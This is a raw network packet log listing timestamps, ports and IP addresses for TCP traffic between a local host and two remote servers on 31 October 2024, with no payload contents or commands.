Oct 31, 2024 05:07:21.781704903 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781708956 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781722069 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781727076 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781745911 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781749964 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781759977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781765938 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781789064 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781795979 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781800032 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781814098 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781829119 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781846046 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781867027 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781868935 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781891108 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781908035 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781908035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781924009 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.781939983 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.781960964 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.899810076 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899826050 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899857044 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899857044 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.899883986 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.899890900 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899902105 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.899905920 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899931908 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899943113 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.899946928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899966955 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899966955 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.899986029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.899991035 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.899992943 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900007010 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900023937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900042057 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900053024 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900055885 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900062084 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900074959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900096893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900099993 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900113106 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900115013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900130987 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900136948 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900146008 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900155067 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900166988 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900168896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900186062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900192976 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900202036 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900207043 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900217056 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900226116 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900232077 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900233984 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900250912 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900274992 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900279999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900294065 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900309086 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900325060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900332928 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900340080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900357008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900362015 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900372028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900378942 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900401115 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900415897 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900420904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900459051 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900460958 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900474072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900490046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900500059 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900530100 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900551081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900554895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900568962 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900584936 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900599003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900608063 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900631905 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900635004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900666952 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900676966 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900691986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900738955 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900748014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900762081 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900775909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900795937 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900820017 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900840044 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900854111 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900876999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900887966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900892973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900907993 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900914907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900924921 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.900937080 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900948048 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.900999069 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901026964 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901031971 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901048899 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901051044 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901065111 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901087046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901089907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901102066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901118040 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901149035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901176929 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901201963 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901216030 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901232004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901248932 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901257992 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901293993 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901309013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901323080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901339054 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901345015 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901354074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901369095 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901393890 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901412964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901427984 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901452065 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901459932 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901467085 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901468039 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901484966 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901489019 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901500940 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:21.901504040 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901515007 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:21.901536942 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.019516945 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.019543886 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.019558907 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.019597054 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.019609928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.019628048 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.019633055 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.019637108 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.019645929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.019655943 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.019660950 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.019682884 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.019701004 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020042896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020090103 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020122051 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020138979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020168066 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020180941 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020282984 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020298004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020313978 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020328999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020343065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020344973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020360947 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020368099 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020379066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020394087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020402908 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020418882 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020418882 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020435095 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020450115 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020451069 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020462036 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020466089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020486116 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020489931 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020504951 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020505905 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020520926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020528078 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020536900 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020550013 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020551920 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020569086 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020571947 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020584106 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020585060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020605087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020615101 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020627022 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020641088 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020642996 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020658016 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020672083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020673037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020689011 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020699978 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020713091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020728111 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020735025 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020742893 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020744085 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020766973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020771980 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020780087 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020782948 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020801067 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020802021 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020817995 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020823956 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020834923 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020843029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020852089 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020865917 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020879030 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020889997 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020906925 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020929098 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020931959 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020944118 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020958900 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020960093 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020973921 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.020991087 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.020993948 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021008968 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021014929 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021025896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021029949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021040916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021053076 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021058083 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021073103 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021073103 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021087885 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021095991 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021111965 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021121979 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021128893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021143913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021152020 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021159887 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021178007 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021182060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021199942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021207094 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021214008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021229982 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021233082 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021264076 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021282911 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021289110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021305084 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021321058 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021334887 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021334887 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021342993 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021351099 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021363974 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021387100 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021399975 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021606922 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021621943 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021639109 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021652937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.021653891 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021661043 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.021683931 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.080094099 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:22.080179930 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:22.081794977 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:22.081828117 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:22.082170010 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:22.083506107 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:22.083589077 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:22.083631992 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:22.083724976 CET	49890	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:22.083745003 CET	443	49890	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:22.140276909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140295982 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140311956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140326977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140335083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140342951 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140357971 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140361071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140377998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140392065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140405893 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140433073 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140466928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140491009 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140506029 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140507936 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140522003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140536070 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140537977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140548944 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140552998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140568018 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140572071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140592098 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140597105 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140613079 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140614033 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140635967 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140640974 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140662909 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140666962 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140680075 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140683889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140700102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140705109 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140710115 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140717983 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140726089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140741110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140746117 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140757084 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140767097 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140779972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140794039 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140794992 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140810013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140810966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140827894 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140836954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:22.140846968 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:22.140858889 CET	49851	80	192.168.2.4	185.215.113.16
